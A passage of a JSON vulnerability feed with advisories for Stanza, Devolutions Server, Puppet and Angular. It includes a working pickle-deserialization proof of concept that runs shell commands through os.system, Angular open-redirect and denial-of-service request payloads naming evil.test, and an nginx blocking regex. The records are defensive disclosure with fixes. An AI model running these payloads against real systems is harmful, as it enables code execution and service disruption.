untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -> `_unpack_pos_dict` and executes the embedded pickle at construction time.\n\n## The vulnerable path\n\n`stanza/models/lemma/trainer.py`:\n\n```python\n# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']\n\ndef _unpack_pos_dict(data):                 # line 54\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return pickle.loads(raw)                # <-- unrestricted default unpickler\n```\n\n```python\ndef load(self, filename, ...):              # line 365\n    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact\n    ...\n    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)\n        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation\n```\n\n**Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=<file>)` -> `LemmaProcessor._set_up_model` -> `Trainer(model_file=…)` -> `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.\n\nNote: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.\n\n## Minimal PoC\n\n```python\nimport gzip, io, os, pickle, tempfile, torch\nfrom stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS\n\nMARKER = os.path.join(tempfile.gettempdir(), \"stanza_lemma_poc_pwned\")\n\nclass Payload:\n    def __reduce__(self):\n        return (os.system, (\"id > %s 2>&1; echo executed_by=$(whoami) >> %s\" % (MARKER, MARKER),))\n\nbuf = io.BytesIO()\nwith gzip.GzipFile(fileobj=buf, mode=\"wb\") as gz:        # same shape as _pack_pos_dict()\n    gz.write(pickle.dumps(Payload(), protocol=4))\n\nckpt = {\"dicts\": buf.getvalue(), \"dicts_version\": _DICTS_VERSION_POS}\npt = os.path.join(tempfile.gettempdir(), \"evil_lemma.pt\")\ntorch.save(ckpt, pt, _use_new_zipfile_serialization=False)\n\nloaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact\n_unpack_pos_dict(loaded[\"dicts\"])                            # == trainer.py:378 -> command runs\nprint(\"pwned:\", open(MARKER).read().strip())\n```\n\nThe PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.\n\n## Fix\n\nDeserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only):\n\n```python\nfrom stanza.models.common.doc import RestrictedUnpickler\n\ndef _unpack_pos_dict(data):\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return RestrictedUnpickler(io.BytesIO(raw)).load()\n```\n\nA legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.","published_time":"2026-11-03T20:29:16Z","modified_time":"2026-11-03T20:29:16Z","withdrawn_time":null,"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"affected":[{"package":{"ecosystem":"PyPI","name":"stanza"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.14.0"},{"fixed":"1.15.0"}]}],"versions":["1.14.0"]}],"references":[{"type":"WEB","url":"https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5"},{"type":"WEB","url":"https://github.com/stanfordnlp/stanza/pull/1649"},{"type":"WEB","url":"https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0"},{"type":"PACKAGE","url":"https://github.com/stanfordnlp/stanza"},{"type":"WEB","url":"https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0"}],"cwe_ids":["CWE-502","CWE-94"],"github_severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-03T20:29:16Z"}},{"cve_id":"CVE-2026-119636","summary":"Improper release of expired privileged access checkouts in the PAM scheduled check-in task in Devolutions Server 2025.3.2.0 through 2026.2.22.0 allows an authenticated user with checkout rights on a PAM account to retain access to that account on the target system after the checkout expires via a backlog of 21 or more newer active checkouts that prevents the expired checkout from being checked in and its password from being rotated.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:02","euvd":{"id":"EUVD-2026-116494","description":"Improper release of expired privileged access checkouts in the PAM scheduled check-in task in Devolutions Server 2025.3.2.0 through 2026.2.22.0 allows an authenticated user with checkout rights on a PAM account to retain access to that account on the target system after the checkout expires via a backlog of 21 or more newer active checkouts that prevents the expired checkout from being checked in and its password from being rotated.","published_time":"2026-11-03T20:39:03","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"DEVOLUTIONS","references":["https://devolutions.net/security/advisories/DEVO-2026-0039/"],"products":["Server"],"vendors":["Devolutions"]},"ghsa":null},{"cve_id":"CVE-2026-115731","summary":"Deserialization of untrusted data in the report-processing code of Puppet, as used by Puppet Server, in the affected releases, allows a client that holds any CA-signed agent certificate to execute arbitrary code on the Puppet Server as its service user by submitting a report containing a crafted rich-data type via PUT request. Where the certificate authority autosigns requests without strong verification, an unauthenticated network attacker can obtain such a certificate.","cvss":9.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.4,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://portal.perforce.com/s/cve/a91Qi000003IaHpIAK/report-deserialization-code-execution"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:01","euvd":{"id":"EUVD-2026-116495","description":"Deserialization of untrusted data in the report-processing code of Puppet, as used by Puppet Server, in the affected releases, allows a client that holds any CA-signed agent certificate to execute arbitrary code on the Puppet Server as its service user by submitting a report containing a crafted rich-data type via PUT request. Where the certificate authority autosigns requests without strong verification, an unauthenticated network attacker can obtain such a certificate.","published_time":"2026-11-03T20:40:10","cvss":9.4,"cvss_version":"4.0","epss":0.0,"assigner":"Perforce","references":["https://portal.perforce.com/s/cve/a91Qi000003IaHpIAK/report-deserialization-code-execution"],"products":["Puppet Enterprise","Puppet Enterprise","Puppet Enterprise","Puppet Enterprise","Puppet Enterprise","Puppet Enterprise"],"vendors":["Perforce"]},"ghsa":null},{"cve_id":"CVE-2026-111754","summary":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.33, 21.2.25, and 22.2.1, ServerPlatformLocation in Angular server-side rendering checks for protocol-relative URLs before WHATWG URL normalization. A request path containing a popping dot segment followed by multiple slashes can bypass the raw resolveUrl check and normalize to a pathname beginning with two slashes. When Angular SSR detects a mismatch with the router's final location, it can place that pathname in an HTTP Location header, causing a browser to navigate to an attacker-controlled origin. Affected applications use @angular/platform-server and @angular/ssr and either expose compatible parameter or child route shapes or pass user-controlled navigation targets through infrastructure that preserves the relevant dot segments or semicolons. Pure client-side SPAs are not affected. This issue is fixed in versions 20.3.33, 21.2.25, and 22.2.1.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/angular/angular/commit/450af9c813c7660b9bd91e5635f705ee3ed7b32a","https://github.com/angular/angular/commit/83944fc8c50e86be90e8ec4184cd15002b5af262","https://github.com/angular/angular/commit/928dcfd2582152655b5559509d057bf6a5a19521","https://github.com/angular/angular/issues/71076","https://github.com/angular/angular/pull/71077","https://github.com/angular/angular/pull/71078","https://github.com/angular/angular/pull/71079","https://github.com/angular/angular/releases/tag/v20.3.33","https://github.com/angular/angular/releases/tag/v21.2.25","https://github.com/angular/angular/releases/tag/v22.2.1","https://github.com/angular/angular/security/advisories/GHSA-w739-gvwx-grc3"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:16:58","euvd":{"id":"EUVD-2026-116377","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.33, 21.2.25, and 22.2.1, ServerPlatformLocation in Angular server-side rendering checks for protocol-relative URLs before WHATWG URL normalization. A request path containing a popping dot segment followed by multiple slashes can bypass the raw resolveUrl check and normalize to a pathname beginning with two slashes. When Angular SSR detects a mismatch with the router's final location, it can place that pathname in an HTTP Location header, causing a browser to navigate to an attacker-controlled origin. Affected applications use @angular/platform-server and @angular/ssr and either expose compatible parameter or child route shapes or pass user-controlled navigation targets through infrastructure that preserves the relevant dot segments or semicolons. Pure client-side SPAs are not affected. This issue is fixed in versions 20.3.33, 21.2.25, and 22.2.1.","published_time":"2026-11-03T20:55:11","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/angular/angular/security/advisories/GHSA-w739-gvwx-grc3","https://github.com/angular/angular/issues/71076","https://github.com/angular/angular/pull/71077","https://github.com/angular/angular/pull/71078","https://github.com/angular/angular/pull/71079","https://github.com/angular/angular/commit/450af9c813c7660b9bd91e5635f705ee3ed7b32a","https://github.com/angular/angular/commit/83944fc8c50e86be90e8ec4184cd15002b5af262","https://github.com/angular/angular/commit/928dcfd2582152655b5559509d057bf6a5a19521","https://github.com/angular/angular/releases/tag/v20.3.33","https://github.com/angular/angular/releases/tag/v21.2.25","https://github.com/angular/angular/releases/tag/v22.2.1"],"products":["angular","angular","angular","angular"],"vendors":["angular"]},"ghsa":{"id":"GHSA-w739-gvwx-grc3","summary":"@angular/platform-server: Open Redirect via Protocol-Relative URLs in Server-Side Rendering (SSR)","details":"An open redirect vulnerability was identified in `@angular/platform-server` when Server-Side Rendering (SSR) is enabled.\n\nWhen Angular SSR renders an incoming request, URL resolution and platform navigation are managed by `ServerPlatformLocation` using `resolveUrl` (or `parseUrl` in v20). While `resolveUrl` rejected protocol-relative URLs whose raw string directly started with `//`, this check ran *prior* to WHATWG URL normalization.\n\nWhen a request URL includes a popping dot-segment followed by multiple slashes (such as `/.//evil.test` or serialized from router route shapes like `/.;/(//evil.test)`), the input bypassed the initial `urlStr.startsWith('//')` check. Subsequent WHATWG URL parsing resolved the dot-segments and resulted in a `pathname` starting with `//` (`//evil.test`).\n\nConsequently, `ServerPlatformLocation` stored `pathname = '//evil.test'`. When `@angular/ssr` detected a mismatch between the rendered URL and the router's final location state, it emitted the unnormalized pathname into the HTTP `Location` response header, producing an HTTP 302 redirect with `Location: //evil.test`, which browsers resolve as a protocol-relative navigation off-origin.\n\n### Impact\n\nSuccessful exploitation allows an unauthenticated remote attacker to craft URLs that trick Angular SSR into redirecting users to an arbitrary external domain.\n\n* **Bypasses Application-Level Guards:** Common application-level validation routines (such as checking `!returnUrl.startsWith('//')` before invoking `router.navigateByUrl`) accept `/.//evil.test` or `/.;/(//evil.test)` as a safe relative path, allowing attackers to bypass redirect allowlists.\n* **Client-side SPAs Unaffected:** Pure client-side Angular applications (Single Page Applications without SSR) are **not** vulnerable, as `ServerPlatformLocation` is only utilized in server-side execution environments.\n\n### Attack Preconditions & Vulnerable Configurations\n\nAn application is affected if the following conditions are met:\n\n* **SSR Enabled:** The application runs in a Server-Side Rendering environment using `@angular/platform-server` and `@angular/ssr`.\n* **Parameter Route Shapes:** The router contains parameter routes with wildcard or child segments (e.g. `/:tenant` matching `.` and serializing secondary outlet groups `(//evil.test)` to `/.//evil.test`), or passes user-provided navigation targets (e.g. `returnUrl`).\n* **Reverse Proxy Passthrough:** Upstream reverse proxies (Nginx, Cloudflare, ALB) pass semicolons (`;`) or dot-segments without stripping or normalizing them.\n\n#### Exploit Payload Example\n\nAn attacker sends a request targeting a route with parameters and child segments:\n\n```http\nGET /.;/(//evil.test) HTTP/1.1\nHost: example.com\n```\n\n**Response:**\n```http\nHTTP/1.1 302 Found\nLocation: //evil.test\n```\n\nThe client browser resolves `//evil.test` protocol-relatively and redirects the user away from `example.com` to `evil.test`.\n\n### Patches\n\nThe issue is resolved by updating `resolveUrl` (and `parseUrl` in v20) in `@angular/platform-server` to verify that the normalized URL pathname does not start with `//` when `allowProtocolRelative` is `false`.\n\n* `22.2.1`\n* `21.2.25`\n* `20.3.33`\n\n### Workarounds & Mitigations\n\nIf you cannot immediately upgrade to a patched version, apply one of the following mitigations at your edge reverse proxy or WAF:\n\n1. **Reject Paths with Dot-Segments Followed by Slashes:**\n   Configure your reverse proxy (e.g., Nginx, Cloudflare, AWS WAF) to block requests containing `/.//`, `/..//`, or `/.;/`:\n   ```nginx\n   # Nginx example: reject suspicious path normalization sequences\n   if ($request_uri ~* \"(\\n/\\.\\/|\\/\\.\\;)\") {\n       return 400;\n   }\n   ```\n2. **Sanitize Redirect Headers:**\n   Ensure edge proxies or API gateways rewrite or disallow protocol-relative (`//`) `Location` response headers originating from the SSR upstream.","published_time":"2026-10-20T14:35:49Z","modified_time":"2026-10-20T14:35:49Z","withdrawn_time":null,"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"affected":[{"package":{"ecosystem":"npm","name":"@angular/platform-server"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"22.0.0"},{"fixed":"22.2.1"}]}]},{"package":{"ecosystem":"npm","name":"@angular/platform-server"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"21.0.0"},{"fixed":"21.2.25"}]}]},{"package":{"ecosystem":"npm","name":"@angular/platform-server"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.0"},{"fixed":"20.3.33"}]}]},{"package":{"ecosystem":"npm","name":"@angular/platform-server"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"19.2.25"}]}]}],"references":[{"type":"WEB","url":"https://github.com/angular/angular/security/advisories/GHSA-w739-gvwx-grc3"},{"type":"WEB","url":"https://github.com/angular/angular/pull/71077"},{"type":"WEB","url":"https://github.com/angular/angular/pull/71078"},{"type":"WEB","url":"https://github.com/angular/angular/pull/71079"},{"type":"WEB","url":"https://github.com/angular/angular/commit/450af9c813c7660b9bd91e5635f705ee3ed7b32a"},{"type":"WEB","url":"https://github.com/angular/angular/commit/83944fc8c50e86be90e8ec4184cd15002b5af262"},{"type":"WEB","url":"https://github.com/angular/angular/commit/928dcfd2582152655b5559509d057bf6a5a19521"},{"type":"WEB","url":"https://github.com/angular/angular/commit/d7d81e189d227108c3b9d39178dbb7389f6f970d"},{"type":"PACKAGE","url":"https://github.com/angular/angular"},{"type":"WEB","url":"https://github.com/angular/angular/releases/tag/v20.3.33"},{"type":"WEB","url":"https://github.com/angular/angular/releases/tag/v21.2.25"},{"type":"WEB","url":"https://github.com/angular/angular/releases/tag/v22.2.1"}],"cwe_ids":["CWE-601"],"github_severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-20T14:35:49Z"}},{"cve_id":"CVE-2026-111751","summary":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. From 21.2.0 until 21.2.25 and 22.2.1, RouterLink directives rendered during Node.js server-side rendering retain computed UrlTree instances for the lifetime of each request. When queryParamsHandling is set to merge or preserve, either per link or through defaultQueryParamsHandling, every rendered link can retain a copy of attacker-controlled query parameters in its UrlTree. When upstream proxies or load balancers forward oversized query strings without rejecting them at the edge, multiple affected links and overlapping renders can amplify heap use until the Node.js old-space heap is exhausted and the SSR worker terminates. Numeric query-parameter names increase allocation pressure but are not required, memory is released after rendering completes, and pure client-side SPAs are not affected. This issue is fixed in versions 21.2.25 and 22.2.1.","cvss":8.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/angular/angular/commit/14793bfe4b44a36ed4b7e49a60458ec711c2b41a","https://github.com/angular/angular/commit/a131f77d92808ad5c2f3fa4dc6fde36825f12c5a","https://github.com/angular/angular/issues/70908","https://github.com/angular/angular/pull/70953","https://github.com/angular/angular/releases/tag/v21.2.25","https://github.com/angular/angular/releases/tag/v22.2.1","https://github.com/angular/angular/security/advisories/GHSA-57xq-rjx2-v5xh"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:16:57","euvd":{"id":"EUVD-2026-116379","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. From 21.2.0 until 21.2.25 and 22.2.1, RouterLink directives rendered during Node.js server-side rendering retain computed UrlTree instances for the lifetime of each request. When queryParamsHandling is set to merge or preserve, either per link or through defaultQueryParamsHandling, every rendered link can retain a copy of attacker-controlled query parameters in its UrlTree. When upstream proxies or load balancers forward oversized query strings without rejecting them at the edge, multiple affected links and overlapping renders can amplify heap use until the Node.js old-space heap is exhausted and the SSR worker terminates. Numeric query-parameter names increase allocation pressure but are not required, memory is released after rendering completes, and pure client-side SPAs are not affected. This issue is fixed in versions 21.2.25 and 22.2.1.","published_time":"2026-11-03T20:58:04","cvss":8.2,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/angular/angular/security/advisories/GHSA-57xq-rjx2-v5xh","https://github.com/angular/angular/issues/70908","https://github.com/angular/angular/pull/70953","https://github.com/angular/angular/commit/14793bfe4b44a36ed4b7e49a60458ec711c2b41a","https://github.com/angular/angular/commit/a131f77d92808ad5c2f3fa4dc6fde36825f12c5a","https://github.com/angular/angular/releases/tag/v21.2.25","https://github.com/angular/angular/releases/tag/v22.2.1"],"products":["angular","angular"],"vendors":["angular"]},"ghsa":{"id":"GHSA-57xq-rjx2-v5xh","summary":"@angular/router: Denial of Service via RouterLink Query Parameter Retention in Server-Side Rendering (SSR)","details":"A denial of service (DoS) vulnerability was identified in `@angular/router` when Server-Side Rendering (SSR) is enabled on Node.js (V8) and `RouterLink` directives are rendered with `queryParamsHandling: 'merge'` or `'preserve'`, configured either per link or globally via `defaultQueryParamsHandling`.\n\nStarting in v21.2.0 ([angular/angular#66181](https://github.com/angular/angular/pull/66181)), `RouterLink` internals were refactored to use signals, introducing a computed signal (`_urlTree`) that cached the returned `UrlTree` instance on the directive. Because each rendered link maintains an active `RouterLink` instance for the entire duration of the request lifecycle, the computed signal permanently pinned the `UrlTree` and its associated query parameter dictionary in the heap until the SSR response completed.\n\nWhen query parameter handling is set to `'merge'` or `'preserve'`, each link copies the incoming request's query parameters into its own `UrlTree`. During SSR, memory consumption scales multiplicatively:\n\n$$\\text{Heap Retention} \\approx (\\text{Number of affected links}) \\times (\\text{Size of parsed query parameter map})$$\n\nBecause parsed JavaScript objects and property dictionaries require substantially more heap space than the raw query string—particularly when property names trigger dense array allocations under V8 property-storage heuristics—an attacker can supply oversized query strings to amplify heap consumption by orders of magnitude per in-flight request.\n\n### Impact\n\nSuccessful exploitation allows an unauthenticated remote attacker to exhaust the Node.js old-space heap with modest concurrent request volume, terminating the SSR worker with an unrecoverable JavaScript heap out of memory fatal crash.\n\n* **Numeric Names Not Required:** Numeric query parameter names trigger larger V8 property-storage allocations (~558 KB per parsed dictionary in tests vs. ~197 KB for non-numeric equivalents), lowering the concurrency threshold needed for a crash. However, non-numeric query parameters also produce significant heap amplification and can exhaust worker memory with proportionally higher concurrency.\n* **Client-side SPAs Unaffected:** Pure client-side Angular applications (Single Page Applications without SSR) are not vulnerable, as local browser memory consumption does not cross a security boundary.\n\n### Attack Preconditions & Vulnerable Configurations\n\nAn application is affected only if all of the following conditions are met:\n\n1. **SSR Enabled:** The application runs in a Server-Side Rendering environment powered by Node.js / V8.\n2. **Merged or Preserved Query Parameters:** `RouterLink` elements rendered during SSR use `queryParamsHandling: 'merge'` or `'preserve'`, either bound explicitly on links or configured application-wide via `withRouterConfig({ defaultQueryParamsHandling: 'merge' })`.\n3. **Upstream Proxy Forwards Long Request Lines:** Reverse proxies or load balancers (e.g., Nginx, AWS ALB, Cloudflare) forward long query strings to the Node.js application rather than rejecting them at the edge. (For example, Nginx's default 8 KB `large_client_header_buffers` limit rejects 16 KB request lines unless explicitly increased).\n4. **Overlapping Renders:** Because retained memory is freed once each request completes, multiple concurrent requests must be processed simultaneously in the same Node.js worker instance (such as pages awaiting asynchronous data fetching, route resolvers, or external API calls during SSR).\n\n### Exploit Payload Example\n\nAn attacker issues concurrent HTTP requests containing dense query parameters to an SSR page that renders multiple merged links:\n\n```http\nGET /products?0&17&34&51&68&85&...&48042 HTTP/1.1\nHost: example.com\n```\n\n### Patches\n\nThe issue is resolved by removing persistent `UrlTree` retention from `RouterLink` ([angular/angular#70953](https://github.com/angular/angular/pull/70953)). `RouterLink` now tracks route dependencies directly in `reactiveHref` and discards intermediate `UrlTree` instances immediately after computing the serialized href string. The `urlTree` getter and click handlers compute `UrlTree` instances on demand.\n\nAs a result, intermediate query parameter maps are short-lived allocations collected during young-generation GC scavenges rather than remaining pinned in the heap for the lifetime of the request, restoring the memory profile of Angular 21.1 and earlier.\n\nPatched versions:\n* `22.2.1`\n* `21.2.25`\n\nVersions prior to 21.2.0 (including Angular 20.x LTS and 21.1.x) do not retain `UrlTree` instances in `RouterLink` and are not vulnerable to this issue.\n\n### Workarounds & Mitigations\n\nIf you cannot immediately upgrade to a patched version, apply one or more of the following mitigations:\n\n1. **Avoid 'merge' and 'preserve' on Server-Rendered Links:**\n   Remove `defaultQueryParamsHandling: 'merge'` (or `'preserve'`) from global configuration. Explicitly bind only the specific query parameters each link requires (e.g., `[queryParams]=\"{ filter: filter() }\"`). Even on patched versions, this practice prevents unnecessary request-derived parameter propagation into generated DOM markup.\n\n2. **Limit Query String Length at Reverse Proxy or Middleware:**\n   Configure your edge proxy, web application firewall (WAF), or reverse proxy to reject requests with excessively long query strings (e.g., exceeding 2,048 bytes).\n\n   Alternatively, reject oversized query strings in Node.js before Angular SSR handles the request:\n   ```ts\n   // server.ts (before Angular SSR handler)\n   app.use((req, res, next) => {\n     const queryIndex = req.url.indexOf('?');\n     if (queryIndex !== -1 && req.url.length - queryIndex > 2048) {\n       res.status(414).send('URI Too Long');\n       return;\n     }\n     next();\n   });\n   ```\n\n3. **Increase Node.js Old Space:**\n   Increasing `--max-old-space-size` (e.g., to 2048 MB or 4096 MB) increases the memory headroom and the concurrency threshold required to exhaust memory, though it does not fully eliminate vulnerability under sustained traffic.","published_time":"2026-10-20T17:52:32Z","modified_time":"2026-10-20T17:52:32Z","withdrawn_time":null,"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"affected":[{"package":{"ecosystem":"npm","name":"@angular/router"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"22.0.0"},{"fixed":"22.2.1"}]}]},{"package":{"ecosystem":"npm","name":"@angular/router"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"21.2.0"},{"fixed":"21.2.25"}]}]}],"references":[{"type":"WEB","url":"https://github.com/angular/angular/security/advisories/GHSA-57xq-rjx2-v5xh"},{"type":"WEB","url":"https://github.com/angular/angular/issues/70908"},{"type":"WEB","url":"https://github.com/angular/angular/pull/70953"},{"type":"WEB","url":"https://github.com/angular/angular/commit/319a3c4f3268f4f96ac4acdbb118737d2261e0be"},{"type":"PACKAGE","url":"https://github.com/angular/angular"}],"cwe_ids":["CWE-400","CWE-770"],"github_severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-20T17:52:32Z"}},{"cve_id":"CVE-2026-111752","summary":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.33, 21.2.25, and 22.2.1, @angular/router in Node.js server-side rendering fails to require auxiliary outlet URL segments to match routes configured for their outlet names. Crafted requests containing multiple unconfigured empty-path outlet groups can repeatedly evaluate the route configuration, construct duplicate ActivatedRouteSnapshot trees, execute canMatch guards and resolvers, and copy route parameters and queryParams for each outlet. An unauthenticated remote attacker can exhaust the Node.js heap or CPU and terminate an SSR worker when SSR is enabled, a route level contains an empty-path route or named outlet, upstream infrastructure forwards the request target, and the worker has a constrained heap. The allocation is transient rather than a persistent leak, and client-side SPAs and build-time prerendering are not affected. This issue is fixed in versions 20.3.33, 21.2.25, and 22.2.1.","cvss":8.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/angular/angular/commit/a83f8119acd466b524ae0113096ed188358d6d6c","https://github.com/angular/angular/commit/b0d2ba0f54e21cb57ea5a0ca0d8e6065f28e23a0","https://github.com/angular/angular/commit/e9bf52aa03a3b9b302c33ffbc967ef0e1de5fb79","https://github.com/angular/angular/issues/70932","https://github.com/angular/angular/issues/70997","https://github.com/angular/angular/pull/71055","https://github.com/angular/angular/releases/tag/v20.3.33","https://github.com/angular/angular/releases/tag/v21.2.25","https://github.com/angular/angular/releases/tag/v22.2.1","https://github.com/angular/angular/security/advisories/GHSA-62vg-58rm-qff7"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:16:57","euvd":{"id":"EUVD-2026-116374","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.33, 21.2.25, and 22.2.1, @angular/router in Node.js server-side rendering fails to require auxiliary outlet URL segments to match routes configured for their outlet names. Crafted requests containing multiple unconfigured empty-path outlet groups can repeatedly evaluate the route configuration, construct duplicate ActivatedRouteSnapshot trees, execute canMatch guards and resolvers, and copy route parameters and queryParams for each outlet. An unauthenticated remote attacker can exhaust the Node.js heap or CPU and terminate an SSR worker when SSR is enabled, a route level contains an empty-path route or named outlet, upstream infrastructure forwards the request target, and the worker has a constrained heap. The allocation is transient rather than a persistent leak, and client-side SPAs and build-time prerendering are not affected. This issue is fixed in versions 20.3.33, 21.2.25, and 22.2.1.","published_time":"2026-11-03T20:52:16","cvss":8.2,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/angular/angular/security/advisories/GHSA-62vg-58rm-qff7","https://github.com/angular/angular/issues/70932","https://github.com/angular/angular/issues/70997","https://github.com/angular/angular/pull/71055","https://github.com/angular/angular/commit/a83f8119acd466b524ae0113096ed188358d6d6c","https://github.com/angular/angular/commit/b0d2ba0f54e21cb57ea5a0ca0d8e6065f28e23a0","https://github.com/angular/angular/commit/e9bf52aa03a3b9b302c33ffbc967ef0e1de5fb79","https://github.com/angular/angular/releases/tag/v20.3.33","https://github.com/angular/angular/releases/tag/v21.2.25","https://github.com/angular/angular/releases/tag/v22.2.1"],"products":["angular","angular","angular","angular"],"vendors":["angular"]},"ghsa":{"id":"GHSA-62vg-58rm-qff7","summary":"@angular/router: Denial of Service via Unmatched Empty-Path Outlet Route Matching in Server-Side Rendering (SSR)","details":"A denial of service (DoS) vulnerability was identified in `@angular/router` when Server-Side Rendering (SSR) is enabled on Node.js (V8).\n\nDuring route recognition, `@angular/router` fails to validate whether an auxiliary outlet segment in the URL matches a route configured for that specific outlet name. Because unconfigured empty-path outlet groups (such as `a:/()`, `x:/(...)`, or `///(...)`) are not rejected during matching, the router repeatedly re-evaluates the route configuration against each arbitrary outlet segment provided in the URL.\n\nWhen a request URL contains multiple arbitrary empty-path outlet segments, this improper matching forces the router to instantiate duplicate `ActivatedRouteSnapshot` trees, repeatedly execute `canMatch` guards and route resolvers, and allocate separate copies of route parameters and `queryParams` for each unconfigured outlet.\n\nAn unauthenticated remote attacker can exploit this behavior by sending requests with crafted outlet segments to exhaust the Node.js memory heap or overwhelm CPU resources, leading to SSR worker termination and service disruption.\n\n### Impact\n\nSuccessful exploitation allows an unauthenticated remote attacker to exhaust the Node.js heap with a single crafted request or a small number of concurrent requests, terminating the SSR worker process with a fatal JavaScript heap out-of-memory crash. When the matched routes declare `canMatch` guards or resolvers, a single short request can also trigger repeated guard or resolver executions, increasing load on backend services and holding worker connections open.\n\n* **Transient Allocation:** Memory is released once route recognition completes; there is no persistent memory leak. The primary impact is process termination.\n* **Client-side SPAs Unaffected:** Client-side Angular applications running in the browser are not vulnerable, as browser memory consumption does not cross a security boundary.\n* **Prerendering (SSG) Unaffected:** Build-time prerendering does not process attacker-supplied request URLs.\n\n### Attack Preconditions & Vulnerable Configurations\n\nAn application is affected only if all of the following conditions are met:\n\n1. **SSR Enabled:** The application renders on demand on a Node.js / V8 server.\n2. **Susceptible Route Configuration:** At least one level of the route configuration contains either:\n   * an empty-path (`path: \"\"`) route (e.g., `{path: \"\", component: ShopPage}`), or\n   * a route assigned to a named outlet (e.g., `{path: \"dashboard\", children: [{path: \":id\", outlet: \"detail\", component: DetailPanel}]}`).\n3. **Upstream Request Line Forwarding:** Request lines reach the Node.js process without being rejected upstream by edge proxies. Node.js accepts request headers up to 16 KiB by default. Guard/resolver amplification requires only a short URL.\n4. **Constrained Heap Size:** Worker heaps are sized small enough relative to the request payload and concurrency (e.g., containers or serverless instances configured with 128 MiB–1 GiB).\n\n### Exploit Payload Examples\n\nAgainst a configuration with empty-path (`path: \"\"`) routes and query parameters:\n\n```http\nGET 